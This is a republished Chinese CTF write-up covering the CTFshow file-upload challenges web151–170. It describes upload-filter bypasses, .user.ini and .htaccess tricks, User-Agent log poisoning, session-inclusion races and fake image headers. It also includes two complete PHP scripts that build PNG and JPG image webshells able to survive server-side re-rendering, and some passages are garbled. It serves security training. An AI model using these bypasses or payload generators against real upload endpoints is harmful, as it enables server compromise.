iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow web入门(文件上传)
  • 467
分享到

ctfshow web入门(文件上传)

phpwp安全 2023-09-01 07:09:20 467人浏览 安东尼
摘要

WEB151 (前端限制) 知识点:修改前端限制 上传时,bp收不到,前端是限制了 修改为PHP,上传一句话,蚁剑连接 web152(后端限制) 知识点:绕过后端对文件类型限制 后端限制为图片

WEB151 (前端限制)

  • 知识点:修改前端限制

上传时,bp收不到,前端是限制了


修改为PHP,上传一句话,蚁剑连接


web152(后端限制)

  • 知识点:绕过后端对文件类型限制

后端限制为图片,传入图片马,bp修改后缀,
蚁剑连接


web153(.user.ini配置文件绕过)

发现很容易上传如php5,phtml等类型文件,但是不解析.通过插件识别为Nginx服务器,尝试上传.user.ini,发现上传成功

upload下有index.php所以.user.ini可以使用

上传.user.ini时修改后缀,指向1.png图片马

正常上传图片马


访问/upload/index.php会直接在文件头部 指向(类似包含1.png)1.png


蚁剑连接Http://…/upload/index.php


web154(限制字符)

  • 知识点:绕过限制的字符

与web153一样,但是上传图片马的时候出现错误,试着修改其中的字符,将php改大写即可


web155(短标签绕过)

测试过滤了php

所以只能用短标签

  //short_open_tags=on   等价于  //无限制 <% echo '123';%> //asp_tags=on  php_version < 7   //php_vsesion < 7


web156(过滤)

过滤了 [ ]

{ } 可以替代 [ ]


web157-159(过滤)

过滤了{};,那就直接输出flag算了

``$() 两种命令的功能是相同的,在执行一条命令时,会将``或者$()中的语句当做命令执行一边,再把结果加入到原命令中重新执行。

…/返回上一层 *全部

查看源码得flag


web160(日志包含)

  • 日志文件绕过

过滤了括号 反引号还有一些关键字

先上传.user.ini指向图片, 再上传图片指向日志文件,将一句话写入UA
内容 (log被过滤)
蚁剑连接index.php


web161(检查十六进制文件头)

  • 知识点:getimagesize()

这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的


限制了头文件有以下方法

法一:


法二:

法三:
添加png头部信息

89 50 4E 47 0D 0A 1A 0A


上传.user.ini同样添加png头


上传2.png日志包含


web162-163(包含session文件)

  • 知识点:session

省去上传png文件(带有include…sess_cys)步骤
上传 .user.ini 时直接包含sess_cys


上传1.txt 并添加恶意代码 添加cookie
表单攻击+时间竞争


不断发送
此时我们访问/upload/index.php 抓包并爆破请求


web164(二次渲染)

后端进行二次渲染 ,利用 imagecreatefrompng().
png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域

png:

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>



web165(二次渲染)

  • 二次渲染
    jpg:
<?php        $miniPayload = "";    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {        die('php-gd is not installed');    }    if(!isset($argv[1])) {        die('php jpg_payload.php ');    }    set_error_handler("custom_error_handler");    for($pad = 0; $pad < 1024; $pad++) {        $nullbytePayloadSize = $pad;        $dis = new DatainputStream($argv[1]);        $outStream = file_get_contents($argv[1]);        $extraBytes = 0;        $correctImage = TRUE;        if($dis->readShort() != 0xFFD8) {            die('Incorrect SOI marker');        }        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {            $marker = $dis->readByte();            $size = $dis->readShort() - 2;            $dis->skip($size);            if($marker === 0xDA) {                $startPos = $dis->seek();                $outStreamTmp =                    substr($outStream, 0, $startPos) .                    $miniPayload .                    str_repeat("\0",$nullbytePayloadSize) .                    substr($outStream, $startPos);                checkImage('_'.$argv[1], $outStreamTmp, TRUE);                if($extraBytes !== 0) {                    while((!$dis->eof())) {                        if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {    break;}                        }                    }                    $stopPos = $dis->seek() - 2;                    $imageStreamSize = $stopPos - $startPos;                    $outStream =                        substr($outStream, 0, $startPos) .                        $miniPayload .                        substr(str_repeat("\0",$nullbytePayloadSize).    substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .    substr($outStream, $stopPos);                } elseif($correctImage) {                    $outStream = $outStreamTmp;                } else {                    break;                }                if(checkImage('payload_'.$argv[1], $outStream)) {                    die('Success!');                } else {                    break;                }            }        }    }    unlink('payload_'.$argv[1]);    die('Something\'s wrong');    function checkImage($filename, $data, $unlink = FALSE) {        global $correctImage;        file_put_contents($filename, $data);        $correctImage = TRUE;        imagecreatefromjpeg($filename);        if($unlink)            unlink($filename);        return $correctImage;    }    function custom_error_handler($errno, $errstr, $errfile, $errline) {        global $extraBytes, $correctImage;        $correctImage = FALSE;        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {            if(isset($m[1])) {                $extraBytes = (int)$m[1];            }        }    }    class DataInputStream {        private $binData;        private $order;        private $size;        public function __construct($filename, $order = false, $fromString = false) {            $this->binData = '';            $this->order = $order;            if(!$fromString) {                if(!file_exists($filename) || !is_file($filename))                    die('File not exists ['.$filename.']');                $this->binData = file_get_contents($filename);            } else {                $this->binData = $filename;            }            $this->size = strlen($this->binData);        }        public function seek() {            return ($this->size - strlen($this->binData));        }        public function skip($skip) {            $this->binData = substr($this->binData, $skip);        }        public function readByte() {            if($this->eof()) {                die('End Of File');            }            $byte = substr($this->binData, 0, 1);            $this->binData = substr($this->binData, 1);            return ord($byte);        }        public function readShort() {            if(strlen($this->binData) < 2) {                die('End Of File');            }            $short = substr($this->binData, 0, 2);            $this->binData = substr($this->binData, 2);            if($this->order) {                $short = (ord($short[1]) << 8) + ord($short[0]);            } else {                $short = (ord($short[0]) << 8) + ord($short[1]);            }            return $short;        }        public function eof() {            return !$this->binData||(strlen($this->binData) === 0);        }    }?>

web166(前端限制)

  • 知识点:zip在bp时需要修改格式


上传.zip文件

注意修改Content-Type为application/x-zip-compressed


web167 (.htaccess配置文件)

  • 知识点:.htaccess

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

将.png后缀的文件解析 成php


上传.png 文件


访问/upload/1.png即可


web168(过滤)

可以上传php文件,但是过滤了关键字eval system

访问一下


web169(日志包含)

前端限制格式,后端又限制很多
所以我们直接配置文件绕过
上传ini 日志包含
在这里插入图片描述
上传所需的php文件 修改UA,蚁剑连接


web170(日志包含)


上传2.php


蚁剑

来源地址:https://blog.csdn.net/qq_53263789/article/details/125878901

--结束END--

本文标题: ctfshow web入门(文件上传)

本文链接: https://www.lsjlt.com/news/387787.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作